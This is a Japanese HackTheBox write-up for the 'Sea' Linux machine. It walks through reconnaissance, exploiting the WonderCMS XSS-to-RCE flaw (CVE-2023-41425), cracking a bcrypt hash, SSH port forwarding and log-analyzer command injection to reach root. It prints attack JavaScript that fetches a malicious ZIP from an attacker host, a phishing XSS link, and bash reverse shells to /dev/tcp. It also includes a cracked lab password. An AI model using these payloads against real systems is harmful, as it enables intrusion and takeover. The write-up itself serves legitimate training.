> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/sea-hackthebox-writeup.md).

# Sea HackTheBox攻略記事

Wonder CMS悪用、CSRF脆弱性、（XSSからRCE）、ポートフォワーディングを扱うSea HackTheBox Easy Linuxマシンの攻略記事。実践的な列挙、侵入、足掛かり、権限昇格を含む。

{% embed url="<https://app.hackthebox.com/machines/Sea>" %}

{% hint style="warning" %}
**スキル**:

* Wonder CMSの攻略
* CSRF脆弱性
* (XSSからRCEへ)
* ポートフォワーディング
* (LFI - RCE) ログポイズニング脆弱性
  {% endhint %}

## 偵察 <a href="#reconnaissance" id="reconnaissance"></a>

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fd89c319616a936a8813b9f021f83f105d01bddc%2Fimage%20(1401).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2086c6c80fcd5c31307228d5ec8f405a4dbb847c%2Fimage%20(1402).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.28 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d5f298d94c2df01525727112d4a82a521a18cf38%2Fimage%20(1403).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**extractPorts による開いているポートの分析:**

extractPorts 関数を使用して開いているポートを簡潔な形式で表示し、クリップボードにコピーする（22.80）

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e7caea768f71e1f9daef2b0c73896282e2280862%2Fimage%20(1404).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmapによるポートバージョンスキャン：**

Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:

```bash
nmap -sCV -p80,22 10.10.11.28 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-904b87c50b8329911ab40a026709fdd81d6670f2%2Fimage%20(1405).png?alt=media" alt=""><figcaption></figcaption></figure>

DNS 経由でドメイン名を IP アドレスに解決するには、その IP アドレスに関連付けられたドメイン名を次の `/etc/hosts` ファイルに存在するユーザーに対して試します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-08166dc53383a671ebdcca7ffa1d7d0172aba294%2Fimage%20(1407).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b2d5aa413b86fac778640fc50c293d503ad0163%2Fimage%20(1406).png?alt=media" alt=""><figcaption></figcaption></figure>

**連絡先サイトの発見：**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-387be0f55148319f1b35cc4c360b38845eb7e331%2Fimage%20(1390).png?alt=media" alt=""><figcaption></figcaption></figure>

**サーバーとサイト間の通信を確認：**/ サイト内に連絡先専用の一部を見つけました。サーバーがこのサイトにフレームを送信しているか確認します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7563ef5175ef472d98f27efa577673407c114c96%2Fimage%20(1392).png?alt=media" alt=""><figcaption></figcaption></figure>

**Webサーバーでフレームを受信：**/ このフレームを取得するために、Pythonで簡単なHTTPサーバーを立てます：

```bash
python3 -m http.server 555
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5fbea8b6820e78a658935e2527a9cf05de8c3dfc%2Fimage%20(1391).png?alt=media" alt=""><figcaption></figcaption></figure>

**リクエストを傍受するために** [Burp Suite ](/ja/hacking-tools/web/burpsuite.md)**:**/ Burp Suiteでリクエストを傍受し、通信を分析します。

## **可能** [**SSRF**](/ja/web/ssrf.md)**:**

#### クエリパラメータを変更して、SSRF攻撃を使い内部サービスの一覧取得を試みます：

```bash
&website=http:127.0.0.1
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bc85f425e8fcc4afd6a713cbcbf1295c7edfeddc%2Fimage%20(1393).png?alt=media" alt=""><figcaption></figcaption></figure>

**Intruderによる内部ポートの発見：**/ Burp Suite Intruderを使ってブルートフォース攻撃を行い、開いている内部ポートを発見します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-436267a66ad07c2934649a19c44546e8334d6989%2Fimage%20(1394).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b3a24402b1541e912476df45e329e181aa14f6a%2Fimage%20(1395).png?alt=media" alt=""><figcaption></figcaption></figure>

**レスポンスのフィルタリング：**/ サイズに基づいてレスポンスをフィルタリングし、関連するものを特定しようとしますが、すべて同じです。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-666ee51bf4810e8442932a93e1cb15aff1077507%2Fimage%20(1396).png?alt=media" alt=""><figcaption></figcaption></figure>

## WonderCMSの脆弱性（[CSRF](/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-request-forgery-csrf.md)）：（XSSからRCEへ） <a href="#wondercms-vulnerability" id="wondercms-vulnerability"></a>

**ディレクトリ検索：**/ Gobusterを使ってサイト上のディレクトリを探索します：

```bash
gobuster dir -u http://sea.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

これにより **/themes** ディレクトリが301リダイレクトコードで返されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8d6cfe120369f96bd1d929feb6338f5a22b3b166%2Fimage%20(1397).png?alt=media" alt=""><figcaption></figcaption></figure>

**themesディレクトリを探索：**/ 見つけたパスをURLに追加して検索を続け、次の **/themes** ディレクトリを優先するように

```bash
gobuster dir -u http://sea.htb/themes/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

〜を見つけます **/bike** サブディレクトリを探索します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-47e11f27595831e73c1d9977cdc10776c7cde182%2Fimage%20(1398).png?alt=media" alt=""><figcaption></figcaption></figure>

**ファイル拡張子でのフィルタリング：**/ 次を使って *ffuf* 、特定の拡張子（php、html、pngなど）のファイルを **/bike** ディレクトリ:

```bash
ffuf -c -w /usr/share/SecLists/Discovery/Web-Content/quickhits.txt -u "http://sea.htb/themes/bike/FUZZ" -t 200 -fc 403
```

このコマンドにより、次の名前のファイルを見つけられます **README.md**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c62436c55c0e4c5d0bb92c43af0c82225b958717%2Fimage%20(1399).png?alt=media" alt=""><figcaption></figcaption></figure>

我々はある `README.md` このファイルは、サーバーが「WONDER」というテーマを使用しており、それがCMSであることを示しています。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-98c095dcf1c7cd000d445a6d7710e2b6e630d1b5%2Fimage%20(1400).png?alt=media" alt=""><figcaption></figcaption></figure>

このCMSに関連する脆弱性を調査する中で、XSSインジェクションを介してリモートコード実行（RCE）を可能にする欠陥を発見しました。

{% embed url="<https://github.com/prodigiousMind/CVE-2023-41425?tab=readme-ov-file>" %}

**シェルを取得するためのJavaScriptコード：**/ 以下のJavaScriptコードは、リバースシェルスクリプトを含む悪意のあるZIPファイルをダウンロードし、その後サーバー上で実行します：

```javascript
// サーバーはJavaScriptでドメイン名を解決する際に問題があります
// 必要なパラメータとしてターゲットURLを指定するだけでよいです
var whateverURL = "http://sea.htb"; 
var token = document.querySelectorAll('[name="token"]')[0].value;
// HTTPサーバーで提供しているZIPファイルのパスを変更します
var urlRev = whateverURL+"/?installModule=http://10.10.14.89:8000/whatever.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
 if (xhr3.status == 200) {
   var xhr4 = new XMLHttpRequest();
   xhr4.withCredentials = true;
   // アップロードしたZIPファイル内のrev.phpにアクセスします
   xhr4.open("GET", whateverURL+"/themes/whatever/rev.php");
   xhr4.send();
   xhr4.onload = function() {
     if (xhr4.status == 200) {
       var ip = "10.10.14.89";
       var port = "4444";
       var xhr5 = new XMLHttpRequest();
       xhr5.withCredentials = true;
       // リバースシェルスクリプトを起動し、待ち受け先のIPとポートを指定します
       xhr5.open("GET", whateverURL+"/themes/whatever/rev.php?lhost=" + ip + "&lport=" + port);
       xhr5.send();
     }
   };
 }
};
```

**脆弱性（CVE-2023-41425）用エクスプロイトスクリプトのインストール：**

```bash
git clone https://github.com/prodigiousMind/CVE-2023-41425
cd CVE-2023-41425
```

エクスプロイトスクリプトを実行します：

```bash
python3 exploit.py http://sea.htb/loginURL 10.10.14.89 4444
```

上記のスクリプトは、次の経由でポート8000の当方サーバーへリクエストを送信します： `xss.js` ファイルにより、RCEアクセスと対象マシンの制御を得られます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7505b5e2d642f24480a1d66b5fa47fac32186830%2Fimage%20(2274).png?alt=media" alt=""><figcaption></figcaption></figure>

**最終段階：**

次に、XSSリンクを管理者に送る必要があります。次の `contact.php` フォームを使って、悪意のあるリンクをクリックさせます：

{% code fullWidth="true" %}

```
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.14.89:8000/xss.js"></script><form+action="
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a7badabd359f6ac43583778db89d9661df82a79%2Fimage%20(2267).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-03e29c4f6d815d1c8a07a0b04dd8fa3eea041c34%2Fimage%20(2268).png?alt=media" alt=""><figcaption></figcaption></figure>

**Netcatで待ち受け:**/ ポート4444で待ち受けます：

```bash
nc -nlvp 4444
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-79a85982bb902979479e1938141c505604f89aca%2Fimage%20(2273).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Linuxサーバーにアクセスしたら、端末を安定化させるために次のコマンドを使用します <a href="#terminal-stabilization" id="terminal-stabilization"></a>

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### より快適に作業できるよう、シェルを安定化させます。 <a href="#stabilize-the-shell" id="stabilize-the-shell"></a>

## 権限昇格：

ユーザー *www-data*、次を使って内容を絞り込みます： `find` コマンドを使って、"**パスワード**" を含むファイルだけをWebサーバーディレクトリ内で検索します `/var/www/sea`.

```bash
find /var/www/sea -type f -exec grep -Hn "password" {} /
```

次の中に暗号化されたパスワードを見つけます： `database.js` ファイル：

`$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5023f087dd396b0a7a5493af77b5d6361ad507be%2Fimage%20(2275).png?alt=media" alt=""><figcaption></figcaption></figure>

このパスワードを解析するために、次の **John the Ripper** ツールと `rockyou.txt` 辞書ファイルを使います：

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-31299c1c6b38044b08a25216659760471cb8ad62%2Fimage%20(2277).png?alt=media" alt=""><figcaption></figcaption></figure>

復号されたパスワードは mychemicalromance です

これから、システムで利用可能な2人のユーザー「geo」と「amays」に接続を試みます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-205a424f7c0923503e3c19ddc8ca85e0efc10d82%2Fimage%20(2276).png?alt=media" alt=""><figcaption></figcaption></figure>

ユーザー **amays** のパスワードは正しいです。

### user.txtフラグ

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af4f1bf6eeec52a034a3690bdeb6684cc1c659e5%2Fimage%20(2278).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

内部ネットワーク通信を分析したところ、ポート8080が使用されていることが分かりました：

```bash
netstat -ano
netstat -nltp
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee9e9101abe24193d85be7de6c51fba7d2a72973%2Fimage%20(1378).png?alt=media" alt=""><figcaption></figcaption></figure>

そのため、ポート8888を使ってSSHのポートフォワーディング経由で、サーバーの8080番ポートを攻撃用マシンへ転送します：

```bash
ssh -L 8888:localhost:8080 amay@10.10.11.28
```

接続すると、ログインパネルが見つかります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6b5c3901eeb47b76243306048d2e3026248c4c41%2Fimage%20(1379).png?alt=media" alt=""><figcaption></figcaption></figure>

ユーザー認証情報 `amay`: `mychemicalromance`を使って、監視システムに接続できました。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b69aaca000c4605ad00d0a4b616f6c8a7e1aecdb%2Fimage%20(1380).png?alt=media" alt=""><figcaption></figcaption></figure>

次の接続ログを確認できます： `root`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0ada26656355271a952775187f56505897059b7d%2Fimage%20(1381).png?alt=media" alt=""><figcaption></figcaption></figure>

Burp Suiteでリクエストを傍受すると、次の内容を表示していることに気づきます： `/var/log/apache2/access.log` ファイルの内容をより構造化された形で表示しています。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8bd751fb09e5bbf6d4b045d20eae3b67f8685a5a%2Fimage%20(1383).png?alt=media" alt=""><figcaption></figcaption></figure>

このファイルはユーザー `root`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2cc5134fdb82751281b815d7fbf192c7f5a2f498%2Fimage%20(1384).png?alt=media" alt=""><figcaption></figcaption></figure>

### 脆弱性 [(LFI - RCE) ログポイズニング](/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md):

次のようなファイルを一覧表示しようとすると `/etc/passwd`、たとえば：

```
log_file=/etc/passwd  &analyze_log=/etc/passwd
```

ファイルが一覧表示されます :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a87e0c3f818aba8b543536fa0bcde800c20fd538%2Fimage%20(1385).png?alt=media" alt=""><figcaption></figcaption></figure>

次に、次を含むファイルを読み取ろうとします `root` フラグが入っており、コマンドを実行できることが分かります（例えば `id`):

```bash
log_file=/root/root.txt;id;----&analyze_log=/root/root.txt
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-25d40a134773f4e7b8900b755653d877c459d502%2Fimage%20(1386).png?alt=media" alt=""><figcaption></figcaption></figure>

### **フルアクセス（リバースシェル）：**

リバースシェルを取得するために、次のコマンドを実行します：

{% code fullWidth="false" %}

```bash
bash -c "bash -i >%26 /dev/tcp/192.168.71.128/443 0>%261"
```

{% endcode %}

{% code overflow="wrap" fullWidth="true" %}

```
log_file=/root/root.txt;bash -c "bash -i >& /dev/tcp/10.10.14.89/443 0>&1";---&analyze_log=/root/root.txt
```

{% endcode %}

その後、次で待ち受けます： `nc`:

```bash
nc -nvlp 443
```

### rootフラグ :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-92f9ac60bb34c2a23a0d516aad28671d5dfa26e5%2Fimage%20(1388).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f51bbd2f363212b6084c889207caf4f8f423be8%2Fimage%20(1389).png?alt=media" alt="" width="520"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/sea-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
